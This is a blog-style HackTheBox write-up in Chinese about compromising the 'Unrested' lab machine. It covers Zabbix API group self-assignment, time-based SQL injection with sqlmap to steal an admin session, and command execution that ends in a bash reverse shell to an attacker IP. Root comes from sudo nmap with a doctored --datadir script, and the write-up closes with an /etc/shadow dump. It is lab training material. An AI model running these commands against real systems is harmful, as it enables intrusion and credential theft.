HackTheBox - Machine - Unrested

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Unrested

從 80 端口開始探索。發現了 Zabbix 7.0.0 版本,於是尋找相關的 CVE 漏洞,嘗試利用 CVE-2024-42327,但未能成功,進而使用 Burp Suite 分析請求並修改 POC 代碼。隨後,通過進一步的谷歌搜索,發現了其他相關漏洞和文章,特別是利用特定 API 來獲取用戶 ID,並嘗試將自己加入具有特殊權限的組。通過 API 的 user.update 功能,進行了一系列組的爆破測試,確認了系統中存在的用戶組,並成功將自己加入管理員組。這使得能夠查詢到所有用戶,並驗證了 SQL 注入的可能性。使用 sqlmap 工具對數據庫進行進一步的挖掘,嘗試獲取 admin 的 sessionid,並最終成功獲得。通過這個 sessionid,利用 API 執行命令行操作,嘗試在主機上運行腳本。儘管新版本的限制需要開啟特定配置才能執行全局腳本,但通過修改現有腳本,強制返回 sessionid,成功獲得遠程代碼執行權限。接下來,通過 sudo 權限執行 nmap,利用其 –datadir 參數,指定自定義腳本路徑,最終成功提升到 root 權限。

image

這周出了一個退役機器,賬號密碼如下:

1
2
As is common in real life pentests, 
you will start the Unrested box with credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3

同樣的,這裏我只記錄我完成的過程。

Recon

一開始當然是使用 nmap 掃一掃:

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Zabbix on 80 Port

看到 22 端口是打開的,由於 ssh 登陸不上去,所以只能從 80 這條路開始走。

image

既然給了賬號密碼,那就嘗試登陸看看:

image

結果看到版本 7.0.0 的 Zabbix​,所以第一步是去找有什麽 CVE 可以用。

Search some CVE for zabbix

直接打開瀏覽器谷歌搜索有什麽漏洞:

image

看到第一個 CVE ,所以直接找一下 POC

image

然後找到這個: https://github.com/compr00t/CVE-2024-42327

那當然是很開心的試一下,不過:

image

看起來不行,代理到 burp 看看發生了什麽,於是就隨便修改了 requests.post​ 的代碼:

image

根據上面的POC動手試了一下,

image

發現沒什麽有價值的東西,也不像有SQL的樣子,於是繼續谷歌搜索了一會,發現了這兩篇文章:

在第二篇文章中提到自己可以給自己增加到任意的組中:

image

由於有些組有特殊的權限,於是就可以利用 組的特殊權限來提權,但是上面需要 userid​ 和 usrgrpid​,目前也不知道 userid​是什麽,然後在 Zabbix 的官方文檔中找看看有沒有api可以顯示userid​,結果找到了 checkauthentication​ 這個API:https://www.zabbix.com/documentation/7.0/en/manual/api/reference/user/checkauthentication

Getting current user‘s userid and bruteforce usrgrpid

所以一開始需要先登錄:

image

得到的 result​ 其實就是 sessionid​,然後使用 user.checkAuthentication​ 就可以得到 userid​:

image

也就是說當前的 userid​ 是 3​,那麽問題又來了,有哪些組可以增加呢?

不知道有什麽組,但是使用 user.update​ 可以對當前用戶更新組,組的定義就是下面的 usrgrpid​,如果組不存在就會顯示 Object does not exist​。

image

既然不存在的時候顯示 Object does not exist​ ,這意味著可以從0到50進行爆破,下面就簡單的用一下 Intruder​來快速爆破看看:

image

等待了一段時間後,得到:

image

從掃描可以看出,系統存在 7-13 的用戶組,既然api支持增加多個組,那麽就可以嘗試暴力增加,如果出現錯誤就説明組不存在,如果沒出錯就繼續,所以如下:

demo1

最後得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"usrgrps": [
{
"usrgrpid": "7"
},
{
"usrgrpid": "8"
},
{
"usrgrpid": "9"
},
{
"usrgrpid": "11"
},
{
"usrgrpid": "12"
},
{
"usrgrpid": "13"
}
]
},
"id": 1,
"auth": "12c257f1ff2d8330def226f13880c492"
}

不過這樣會有一個問題,如果增加多個組會導致權限衝突,最後就只是應用到一個組中:

image

所以暴力增加不少一個好選擇,然後繼續翻了下文檔,看到 管理員在組 7 :https://www.zabbix.com/documentation/7.0/en/manual/api/reference/user/get?hl=user.get

image

Add current user to zabbix administrators group (cve-2024-36467)

既然知道管理員是組7,那麽就自己給自己加進去組7:

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"usrgrps": [
{
"usrgrpid": "7"
}
]
},
"id": 1,
"auth": "12c257f1ff2d8330def226f13880c492"
}

然後使用 usergroup.get​ 看看是否增加成功,如果成功了就會返回當前用戶所在的組:

image

由於是把自己加入了 zabbix administrators​ 這個組,猜測這個組有特權,嘗試看看能不能看到其他用戶,所以使用 user.get​ 看一看:

image

好像可以查詢到所有用戶。

SQLi in user.get to get admin sessionid (CVE-2024-42327)

由於第一個 CVE 説的就是 user.get​,既然可以查詢到所有用戶,那麽就嘗試看看有沒有 SQL 注入,這裏的 payload 就是一開始的 exploit 提供的。

image

發送後結果真的卡了5秒,也就是說 SQli 是存在的,所以把注入的地方使用 *​ 來告訴 sqlmap​,然後保存到文件并且使用 sqlmap​ 跑一下:

image

1
$ sqlmap -r req.txt

image

結果 sqlmap​ 識別成功了,由於是 time-based injection​,所以速度非常慢,非常依賴網絡延遲,乾脆就看一下有什麽數據庫:

1
2
3
$ sqlmap -r req.txt --dbs --batch --threads 10
[*] information_schema
[*] zabbix

那麽問題就來了,需要從數據庫裏面得到什麽?由於每次登錄的時候都需要輸入賬號密碼,從而得到一個 sessionid​,所以可以嘗試偷 admin 的sessionid​,這樣就可以使用 api 來做一些奇怪的東西。

問題是 admin 的 sessionid​ 會藏在數據庫的哪裏呢?由於這個框架是開源的,所以可以直接去 github​ 快速搜索一下初始化框架時執行的 sql​,這裏就是 schema.sql​:https://github.com/unix1986/zabbix/blob/master/database/mysql/schema.sql

image

看到表名是 sessions​,所以直接使用 sqlmap 來指定表名并且 dump 一下:

1
$ sqlmap -r req.txt -D zabbix -T sessions --dump  --batch --threads 10

image

成功的獲得了一個 sessionid​,然後試一下:

image

很可惜過期了,所以真正的sessionid​應該是最後的一條記錄,也就是底部,這裏可以直接使用 --sql-shell​ ,只需要一行 sql 語法就可以快速獲取最後一個 admin 的sessionid​:

1
2
$ sqlmap -r req.txt --sql-shell --batch
sql-shell> select sessionid from sessions where userid = 1 ORDER BY userid DESC LIMIT 1

image

獲得后嘗試一下,

image

結果成功了獲得了 admin 的 sessionid​。

Add item to trigger command execution

既然成功了,老樣子直接使用api來運行命令行,先看一下那些主機是允許運行的:

image

Command execution with script.execute

谷歌查了一下,找到這個:https://www.exploit-db.com/exploits/39937

image

新建脚本沒問題,

image

但是運行的時候失敗了,因爲在新版本不允許使用 script 來運行命令行,需要在配置文件中開啓 EnableGlobalScripts​ 才可以這樣玩。

Command execution with item

繼續谷歌搜索找到了這個:https://github.com/Diefunction/ZabbixAPIAbuse

脚本裏面需要登陸,由於只有session id,沒有管理員的賬號密碼,所以改一下脚本,强制返回 session id:

image

運行后嘗試一下:

image

看來脚本沒問題,而且也得到了 rce ,這樣就隨便寫一個 reverse shell:

1
bash -c '(/bin/bash -i >& /dev/tcp/10.10.16.31/2222 0>&1 &)'

就可以得到shell:

image

Shell as zabbix

直接 sudo 看看,

image

結果看到了 nmap​ 允許sudo,那就嘗試尋找 gtfobins

image

運行後出現:

image

不對啊,我記得nmap沒有這種功能,於是看了一下路徑:

image

原來是脚本限制了,好在有 --datadir​ :

image

Exploit nmap datadir to got root shell

當你使用 -sV​ 這個參數去掃描一些ip,nmap​ 就會去 datadir​ 裏面執行一些脚本,nmap 默認的datadir​是 /usr/share/nmap/​,由於可以指定 datadir​ 所以可以直接複製一份,然後修改裏面的内容讓他執行 shell ,那麽問題來了,我要怎麽知道他執行哪個文件?

1
zabbix@unrested:~$ cp -r /usr/share/nmap/ nmap_data

可以在本地中開啓一個 python3 -m http.server 2222​ 然後用 nmap​ 掃描,脚本掃描時肯定會有特徵,所以根據特徵就可以找到哪個脚本。

1
zabbix@unrested:~$ sudo nmap -sV --datadir nmap_data 127.0.0.1

image

掃一下后,看到有一個 nmaplowercheck​ 的關鍵子,也就是說某個脚本裏有一個關鍵字是 nmaplowercheck​,使用 grep​ 快速定位到那個脚本,找到了之後就快速插入一行shell:

1
2
3
4
zabbix@unrested:~/nmap_data$ grep "nmaplowercheck" -ri .
./nselib/http.lua: local URL_404_1 = '/nmaplowercheck' .. os.time(os.date('*t'))

zabbix@unrested:~/nmap_data$ vi ./nselib/http.lua

image

保存了之後再掃描一次,就得到了root:

1
zabbix@unrested:~$ sudo /usr/bin/nmap -sC 10.10.16.31 -p 80 --datadir ~/nmap_data/ 

image

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@unrested:/home/matthew# cat /etc/shadow
root:$y$j9T$c8kZZUmgmWhR3zrBUruWk.$F60sAZkReUe/ENg78gKNGDZq2hEqQtTa7LMjvP8hjeD:20058:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
zabbix:!:20057:0:99999:7:::
Debian-snmp:!:20057:0:99999:7:::
mysql:!:20057:0:99999:7:::
matthew:$y$j9T$WmZMyb.b4HYA0F5zAK0mo/$pQqQW4/PIuLo05BtRdw3SroRYHire.simH0G7khOOz9:20058:0:99999:7:::
_laurel:!:20059::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)